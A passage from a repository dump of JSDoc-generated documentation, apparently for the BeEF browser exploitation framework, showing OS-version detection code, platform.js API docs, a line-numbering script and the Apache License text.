family;\n    } catch (e) {}\n\n    return arch;\n  },\n\n  /**\n    * Get OS name\n\t* @return {string}\n    */\n\tgetVersion: function(){\n\t\t//Windows\n\t\tif(this.isWindows()) {\n\t\t\tif (this.isWin10())         return '10';\n\t\t\tif (this.isWin81())         return '8.1';\n\t\t\tif (this.isWin8())          return '8';\n\t\t\tif (this.isWin7())          return '7';\n\t\t\tif (this.isWinVista())      return 'Vista';\n\t\t\tif (this.isWinXP())         return 'XP';\n\t\t\tif (this.isWinServer2003()) return 'Server 2003';\n\t\t\tif (this.isWin2000SP1())    return '2000 SP1';\n\t\t\tif (this.isWin2000())       return '2000';\n\t\t\tif (this.isWinME())         return 'Millenium';\n\n\t\t\tif (this.isWinNT4())        return 'NT 4';\n\t\t\tif (this.isWinCE())         return 'CE';\n\t\t\tif (this.isWin95())         return '95';\n\t\t\tif (this.isWin98())         return '98';\n\t\t}\n\n\t\t// OS X\n\t\tif(this.isMacintosh()) {\n\t\t\tif (this.isOsxYosemite())        return '10.10';\n\t\t\tif (this.isOsxMavericks())       return '10.9';\n\t\t\tif (this.isOsxSnowLeopard())     return '10.8';\n\t\t\tif (this.isOsxLeopard())         return '10.7';\n\t\t}\n\n\t\t// TODO add Android/iOS version detection\n\t}\n};\n\nbeef.regCmp('beef.net.os');\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/platform.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: platform</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: platform</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>platform</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>Platform.js\nCopyright 2014-2018 Benjamin Tan\nCopyright 2011-2013 John-David Dalton\nAvailable under MIT license</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_platform.js.html\">lib/platform.js</a>, <a href=\"lib_platform.js.html#line1\">line 1</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Members</h3>\n\n        \n            \n<h4 class=\"name\" id=\".description\"><span class=\"type-signature\">(static) </span>description<span class=\"type-signature\"> :string|null</span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>The platform description.</p>\n</div>\n\n\n\n    <h5>Type:</h5>\n    <ul>\n        <li>\n            \n<span class=\"param-type\">string</span>\n|\n\n<span class=\"param-type\">null</span>\n\n\n        </li>\n    </ul>\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_platform.js.html\">lib/platform.js</a>, <a href=\"lib_platform.js.html#line1047\">line 1047</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".layout\"><span class=\"type-signature\">(static) </span>layout<span class=\"type-signature\"> :string|null</span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>The name of the browser's layout engine.</p>\n<p>The list of common layout engines include:\n&quot;Blink&quot;, &quot;EdgeHTML&quot;, &quot;Gecko&quot;, &quot;Trident&quot; and &quot;WebKit&quot;</p>\n</div>\n\n\n\n    <h5>Type:</h5>\n    <ul>\n        <li>\n            \n<span class=\"param-type\">string</span>\n|\n\n<span class=\"param-type\">null</span>\n\n\n        </li>\n    </ul>\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_platform.js.html\">lib/platform.js</a>, <a href=\"lib_platform.js.html#line1058\">line 1058</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".manufacturer\"><span class=\"type-signature\">(static) </span>manufacturer<span class=\"type-signature\"> :string|null</span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>The name of the product's manufacturer.</p>\n<p>The list of manufacturers include:\n&quot;Apple&quot;, &quot;Archos&quot;, &quot;Amazon&quot;, &quot;Asus&quot;, &quot;Barnes &amp; Noble&quot;, &quot;BlackBerry&quot;,\n&quot;Google&quot;, &quot;HP&quot;, &quot;HTC&quot;, &quot;LG&quot;, &quot;Microsoft&quot;, &quot;Motorola&quot;, &quot;Nintendo&quot;,\n&quot;Nokia&quot;, &quot;Samsung&quot; and &quot;Sony&quot;</p>\n</div>\n\n\n\n    <h5>Type:</h5>\n    <ul>\n        <li>\n            \n<span class=\"param-type\">string</span>\n|\n\n<span class=\"param-type\">null</span>\n\n\n        </li>\n    </ul>\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_platform.js.html\">lib/platform.js</a>, <a href=\"lib_platform.js.html#line1071\">line 1071</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".name\"><span class=\"type-signature\">(static) </span>name<span class=\"type-signature\"> :string|null</span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>The name of the browser/environment.</p>\n<p>The list of common browser names include:\n&quot;Chrome&quot;, &quot;Electron&quot;, &quot;Firefox&quot;, &quot;Firefox for iOS&quot;, &quot;IE&quot;,\n&quot;Microsoft Edge&quot;, &quot;PhantomJS&quot;, &quot;Safari&quot;, &quot;SeaMonkey&quot;, &quot;Silk&quot;,\n&quot;Opera Mini&quot; and &quot;Opera&quot;</p>\n<p>Mobile versions of some browsers have &quot;Mobile&quot; appended to their name:\neg. &quot;Chrome Mobile&quot;, &quot;Firefox Mobile&quot;, &quot;IE Mobile&quot; and &quot;Opera Mobile&quot;</p>\n</div>\n\n\n\n    <h5>Type:</h5>\n    <ul>\n        <li>\n            \n<span class=\"param-type\">string</span>\n|\n\n<span class=\"param-type\">null</span>\n\n\n        </li>\n    </ul>\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_platform.js.html\">lib/platform.js</a>, <a href=\"lib_platform.js.html#line1087\">line 1087</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".os\"><span class=\"type-signature\">(static) </span>os<span class=\"type-signature\"> :Object</span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>The name of the operating system.</p>\n</div>\n\n\n\n    <h5>Type:</h5>\n    <ul>\n        <li>\n            \n<span class=\"param-type\">Object</span>\n\n\n        </li>\n    </ul>\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_platform.js.html\">lib/platform.js</a>, <a href=\"lib_platform.js.html#line1132\">line 1132</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".platform\"><span class=\"type-signature\">(static) </span>platform<span class=\"type-signature\"> :Object</span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>The platform object.</p>\n</div>\n\n\n\n    <h5>Type:</h5>\n    <ul>\n        <li>\n            \n<span class=\"param-type\">Object</span>\n\n\n        </li>\n    </ul>\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_platform.js.html\">lib/platform.js</a>, <a href=\"lib_platform.js.html#line1039\">line 1039</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".prerelease\"><span class=\"type-signature\">(static) </span>prerelease<span class=\"type-signature\"> :string|null</span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>The alpha/beta release indicator.</p>\n</div>\n\n\n\n    <h5>Type:</h5>\n    <ul>\n        <li>\n            \n<span class=\"param-type\">string</span>\n|\n\n<span class=\"param-type\">null</span>\n\n\n        </li>\n    </ul>\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_platform.js.html\">lib/platform.js</a>, <a href=\"lib_platform.js.html#line1095\">line 1095</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".product\"><span class=\"type-signature\">(static) </span>product<span class=\"type-signature\"> :string|null</span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>The name of the product hosting the browser.</p>\n<p>The list of common products include:</p>\n<p>&quot;BlackBerry&quot;, &quot;Galaxy S4&quot;, &quot;Lumia&quot;, &quot;iPad&quot;, &quot;iPod&quot;, &quot;iPhone&quot;, &quot;Kindle&quot;,\n&quot;Kindle Fire&quot;, &quot;Nexus&quot;, &quot;Nook&quot;, &quot;PlayBook&quot;, &quot;TouchPad&quot; and &quot;Transformer&quot;</p>\n</div>\n\n\n\n    <h5>Type:</h5>\n    <ul>\n        <li>\n            \n<span class=\"param-type\">string</span>\n|\n\n<span class=\"param-type\">null</span>\n\n\n        </li>\n    </ul>\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_platform.js.html\">lib/platform.js</a>, <a href=\"lib_platform.js.html#line1108\">line 1108</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".toString\"><span class=\"type-signature\">(static) </span>toString<span class=\"type-signature\"></span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>Returns <code>platform.description</code> when the platform object is coerced to a string.</p>\n</div>\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_platform.js.html\">lib/platform.js</a>, <a href=\"lib_platform.js.html#line604\">line 604</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".ua\"><span class=\"type-signature\">(static) </span>ua<span class=\"type-signature\"> :string|null</span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>The browser's user agent string.</p>\n</div>\n\n\n\n    <h5>Type:</h5>\n    <ul>\n        <li>\n            \n<span class=\"param-type\">string</span>\n|\n\n<span class=\"param-type\">null</span>\n\n\n        </li>\n    </ul>\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_platform.js.html\">lib/platform.js</a>, <a href=\"lib_platform.js.html#line1116\">line 1116</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".version\"><span class=\"type-signature\">(static) </span>version<span class=\"type-signature\"> :string|null</span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>The browser/environment version.</p>\n</div>\n\n\n\n    <h5>Type:</h5>\n    <ul>\n        <li>\n            \n<span class=\"param-type\">string</span>\n|\n\n<span class=\"param-type\">null</span>\n\n\n        </li>\n    </ul>\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_platform.js.html\">lib/platform.js</a>, <a href=\"lib_platform.js.html#line1124\">line 1124</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".parse\"><span class=\"type-signature\">(static) </span>parse<span class=\"signature\">(ua<span class=\"signature-attributes\">opt</span>)</span><span class=\"type-signature\"> &rarr; {Object}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Creates a new platform object.</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n        <th>Attributes</th>\n        \n\n        \n        <th>Default</th>\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>ua</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Object</span>\n|\n\n<span class=\"param-type\">string</span>\n\n\n            \n            </td>\n\n            \n                <td class=\"attributes\">\n                \n                    &lt;optional><br>\n                \n\n                \n\n                \n                </td>\n            \n\n            \n                <td class=\"default\">\n                \n                    navigator.userAgent\n                \n                </td>\n            \n\n            <td class=\"description last\"><p>The user agent string or\ncontext object.</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_platform.js.html\">lib/platform.js</a>, <a href=\"lib_platform.js.html#line254\">line 254</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>A platform object.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Object</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"browser_jools.html\">browser_jools</a></li><li><a href=\"platform.html\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 3.6.3</a> on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/scripts/linenumber.js",
    "content": "/*global document */\n(() => {\n    const source = document.getElementsByClassName('prettyprint source linenums');\n    let i = 0;\n    let lineNumber = 0;\n    let lineId;\n    let lines;\n    let totalLines;\n    let anchorHash;\n\n    if (source && source[0]) {\n        anchorHash = document.location.hash.substring(1);\n        lines = source[0].getElementsByTagName('li');\n        totalLines = lines.length;\n\n        for (; i < totalLines; i++) {\n            lineNumber++;\n            lineId = `line${lineNumber}`;\n            lines[i].id = lineId;\n            if (lineId === anchorHash) {\n                lines[i].className += ' selected';\n            }\n        }\n    }\n})();\n"
  },
  {
    "path": "docs/scripts/prettify/Apache-License-2.0.txt",
    "content": "\n                                 Apache License\n                           Version 2.0, January 2004\n                        http://www.apache.org/licenses/\n\n   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n   1. Definitions.\n\n      \"License\" shall mean the terms and conditions for use, reproduction,\n      and distribution as defined by Sections 1 through 9 of this document.\n\n      \"Licensor\" shall mean the copyright owner or entity authorized by\n      the copyright owner that is granting the License.\n\n      \"Legal Entity\" shall mean the union of the acting entity and all\n      other entities that control, are controlled by, or are under common\n      control with that entity. For the purposes of this definition,\n      \"control\" means (i) the power, direct or indirect, to cause the\n      direction or management of such entity, whether by contract or\n      otherwise, or (ii) ownership of fifty percent (50%) or more of the\n      outstanding shares, or (iii) beneficial ownership of such entity.\n\n      \"You\" (or \"Your\") shall mean an individual or Legal Entity\n      exercising permissions granted by this License.\n\n      \"Source\" form shall mean the preferred form for making modifications,\n      including but not limited to software source code, documentation\n      source, and configuration files.\n\n      \"Object\" form shall mean any form resulting from mechanical\n      transformation or translation of a Source form, including but\n      not limited to compiled object code, generated documentation,\n      and conversions to other media types.\n\n      \"Work\" shall mean the work of authorship, whether in Source or\n      Object form, made available under the License, as indicated by a\n      copyright notice that is included in or attached to the work\n      (an example is provided in the Appendix below).\n\n      \"Derivative Works\" shall mean any work, whether in Source or Object\n      form, that is based on (or derived from) the Work and for which the\n      editorial revisions, annotations, elaborations, or other modifications\n      represent, as a whole, an original work of authorship. For the purposes\n      of this License, Derivative Works shall not include works that remain\n      separable from, or merely link (or bind by name) to the interfaces of,\n      the Work and Derivative Works thereof.\n\n      \"Contribution\" shall mean any work of authorship, including\n      the original version of the Work and any modifications or additions\n      to that Work or Derivative Works thereof, that is intentionally\n      submitted to Licensor for inclusion in the Work by the copyright owner\n      or by an individual or Legal Entity authorized to submit on behalf of\n      the copyright owner. For the purposes of this definition, \"submitted\"\n      means any form of electronic, verbal, or written communication sent\n      to the Licensor or its representatives, including but not limited to\n      communication on electronic mailing lists, source code control systems,\n      and issue tracking systems that are managed by, or on behalf of, the\n      Licensor for the purpose of discussing and improving the Work, but\n      excluding communication that is conspicuously marked or otherwise\n      designated in writing by the copyright owner as \"Not a Contribution.\"\n\n      \"Contributor\" shall mean Licensor and any individual or Legal Entity\n      on behalf of whom a Contribution has been received by Licensor and\n      subsequently incorporated within the Work.\n\n   2. Grant of Copyright License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      copyright license to reproduce, prepare Derivative Works of,\n      publicly display, publicly perform, sublicense, and distribute the\n      Work and such Derivative Works in Source or Object form.\n\n   3. Grant of Patent License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      (except as stated in this section) patent license to make, have made,\n      use, offer to sell, sell, import, and otherwise transfer the Work,\n      where such license applies only to those patent claims licensable\n      by such Contributor that are necessarily infringed by their\n      Contribution(s) alone or by combination of their Contribution(s)\n      with the Work to which such Contribution(s) was submitted. If You\n      institute patent litigation against any entity (including a\n      cross-claim or counterclaim in a lawsuit) alleging that the Work\n      or a Contribution incorporated within the Work constitutes direct\n      or contributory patent infringement, then any patent licenses\n      granted to You under this License for that Work shall terminate\n      as of the date such litigation is filed.\n\n   4. Redistribution. You may reproduce and distribute copies of the\n      Work or Derivative Works thereof in any medium, with or without\n      modifications, and in Source or Object form, provided that You\n      meet the following conditions:\n\n      (a) You must give any other recipients of the Work or\n          Derivative Works a copy of this License; and\n\n      (b) You must cause any modified files to carry prominent notices\n          stating that You changed the files; and\n\n      (c) You must retain, in the Source form of any Derivative Works\n          that You distribute, all copyright, patent, trademark, and\n          attribution notices from the Source form of the Work,\n          excluding those notices that do not pertain to any part of\n          the Derivative Works; and\n\n      (d) If the Work includes a \"NOTICE\" text file as part of its\n          distribution, then any Derivative Works that You distribute must\n          include a readable copy of the attribution notices contained\n          within such NOTICE file, excluding those notices that do not\n          pertain to any part of the Derivative Works, in at least one\n          of the following places: within a NOTICE text file distributed\n          as part of the Derivative Works; within the Source form or\n          documentation, if provided along with the Derivative Works; or,\n          within a display generated by the Derivative Works, if and\n          wherever such third-party notices normally appear. The contents\n          of the NOTICE file are for informational purposes only and\n          do not modify the License. You may add Your own attribution\n          notices within Derivative Works that You distribute, alongside\n          or as an addendum to the NOTICE text from the Work, provided\n          that such additional attribution notices cannot be construed\n          as modifying the License.\n\n      You may add Your own copyright statement to Your modifications and\n      may provide additional or different license terms and conditions\n      for use, reproduction, or distribution of Your modifications, or\n      for any such Derivative Works as a whole, provided Your use,\n      reproduction, and distribution of the Work otherwise complies with\n      the conditions stated in this License.\n\n   5. Submission of Contributions. Unless You explicitly state otherwise,\n      any Contribution intentionally submitted for inclusion in the Work\n      by You to the Licensor shall be under the terms and conditions of\n      this License, without any additional terms or conditions.\n      Notwithstanding the above, nothing herein shall supersede or modify\n      the terms of any separate license agreement you may have executed\n      with Licensor regarding such Contributions.\n\n   6. Trademarks. This License does not grant permission to use the trade\n      names, trademarks, service marks, or product names of the Licensor,\n      except as required for reasonable and customary use in describing the\n      origin of the Work and reproducing the content of the NOTICE file.\n\n   7. Disclaimer of Warranty. Unless required by applicable law or\n      agreed to in writing, Licensor provides the Work (and each\n      Contributor provides its Contributions) on an \"AS IS\" BASIS,\n      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n      implied, including, without limitation, any warranties or conditions\n      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n      PARTICULAR PURPOSE. You are solely responsible for determining the\n      appropriateness of using or redistributing the Work and assume any\n      risks associated with Your exercise of permissions under this License.\n\n   8. Limitation of Liability. In no event and under no legal theory,\n      whether in tort (including negligence), contract, or otherwise,\n      unless required by applicable law (such as deliberate and grossly\n      negligent acts) or agreed to in writing, shall any Contributor be\n      liable to You for damages, including any direct, indirect, special,\n      incidental, or consequential damages of any character arising as a\n      result of this License or out of the use or inability to use the\n      Work (including but not limited to damages for loss of goodwill,\n      work stoppage, computer failure or malfunction, or any and all\n      other commercial damages or losses), even if such Contributor\n      has been advised of the possibility of such damages.\n\n   9. Accepting Warranty or Additional Liability. While redistributing\n      the Work or Derivative Works thereof, You may choose to offer,\n      and charge a fee for, acceptance of support, warranty, indemnity,\n      or other liability obligations and/or rights consistent with this\n      License. However, in accepting such obligations, You may act only\n      on Your own behalf and on Your sole responsibility, not on behalf\n      of any other Contributor, and only if You agree to indemnify,\n      defend, and hold each Contributor harmless for any liability\n      incurred by, or claims asserted against, such Contributor by reason\n      of your accepting any such warranty or additional liability.\n\n   END OF TERMS AND CONDITIONS\n\n   APPENDIX: How to apply the Apache License to your work.\n\n      To apply the Apache License to your work, attach the following\n      boilerplate notice, with the fields enclosed by brackets \"[]\"\n      replaced with your own identifying information. (Don't include\n      the brackets!)  The text should be enclosed in the appropriate\n      comment syntax for the file format. We also recommend that a\n      file or class name and description of purpose be included on the\n      same \"printed page\" as the copyright notice for easier\n      identification within third-party archives.\n\n   Copyright [yyyy] [name of copyright owner]\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n"
  },
  {
    "path": "docs/scripts/prettify/lang-css.js",
